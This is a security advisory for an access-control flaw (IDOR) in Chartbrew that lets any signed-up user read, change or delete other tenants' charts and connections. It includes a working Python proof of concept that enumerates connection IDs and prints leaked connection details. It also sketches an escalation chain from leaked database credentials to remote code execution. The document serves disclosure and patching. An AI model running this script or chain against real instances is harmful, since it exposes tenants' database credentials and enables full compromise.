- CVE
- CVE-2026-25877
- Product
- Chartbrew
- Fixed in
- 4.8.1
Chartbrew's chart and connection endpoints authorise by checking that the caller owns the team named in the URL, but never check that the requested resource ID belongs to that team. Any authenticated user (signup is open by default) can read, modify, or delete any chart or connection on the instance by iterating IDs.
Root cause
The handler loads the resource by primary key and runs the action without re-validating ownership against the caller's team, so the team ID in the path is decorative:
GET /team/{ATTACKER_TEAM_ID}/connections/{any_id}
→ 200 {"connectionString":"mongodb://admin:S3cr3t@prod-db:27017/finances"}Impact
Connection objects store database URIs in plaintext, embedded credentials included. Enumerating sequential connection IDs harvests every tenant's database credentials. Confirmed cross-tenant read / modify / delete on charts and read with credentials on connections.
The leaked URI is frequently an admin's, making the IDOR a bridge to full compromise: dump the users collection, crack the owner's bcrypt hash, authenticate as the team owner, then reach RCE via CVE-2026-25888 or CVE-2026-25887.
Fix
4.8.1 adds a per-resource ownership check: the loaded resource's team must match the caller's.
PoC
Registers an account, reads its own team ID, then enumerates connection IDs and prints every leaked connection:
#!/usr/bin/env python3
"""
CVE-2026-25877 — Chartbrew IDOR: Cross-Tenant Connection Credential Leak
=========================================================================
Authorization checks on connection endpoints validate team_id but not connection_id.
An attacker can enumerate all connections on the instance and leak plaintext credentials.
Usage:
python3 idor-25877.py http://TARGET:4019 [max_id]
"""
import requests
import sys
import time
import json
def main():
target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:4019"
max_id = int(sys.argv[2]) if len(sys.argv) > 2 else 50
print(f"CVE-2026-25877 — Chartbrew IDOR Credential Leak")
print(f"Target: {target}")
print(f"Scanning: connection IDs 1-{max_id}")
print("=" * 60)
headers = {"Content-Type": "application/json"}
# Register
ts = int(time.time())
email = f"idor_{ts}@x.com"
print(f"\n[1] Registering as {email}...")
r = requests.post(f"{target}/user", json={
"name": "scanner", "email": email, "password": "Id0rSc@n!"
})
token = r.json().get("token")
if not token:
r = requests.post(f"{target}/user/login", json={"email": email, "password": "Id0rSc@n!"})
token = r.json()["token"]
auth = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
print(" OK")
# Get our team_id
r = requests.get(f"{target}/team", headers=auth)
team_id = r.json()[0]["id"]
print(f"[2] Team ID: {team_id}")
# Enumerate all connections via IDOR
print(f"\n[3] Enumerating connections...\n")
found = 0
for cid in range(1, max_id + 1):
r = requests.get(f"{target}/team/{team_id}/connections/{cid}", headers=auth)
if r.status_code == 200:
conn = r.json()
found += 1
name = conn.get("name", "?")
host = conn.get("host", "?")
db = conn.get("dbName", "?")
ctype = conn.get("type", "?")
projects = conn.get("project_ids", [])
print(f" [{cid}] {ctype} | {name}")
print(f" host: {host}")
print(f" db: {db} | projects: {projects}")
print()
print(f"[*] Done. Found {found} connections across all tenants.")
if __name__ == "__main__":
main()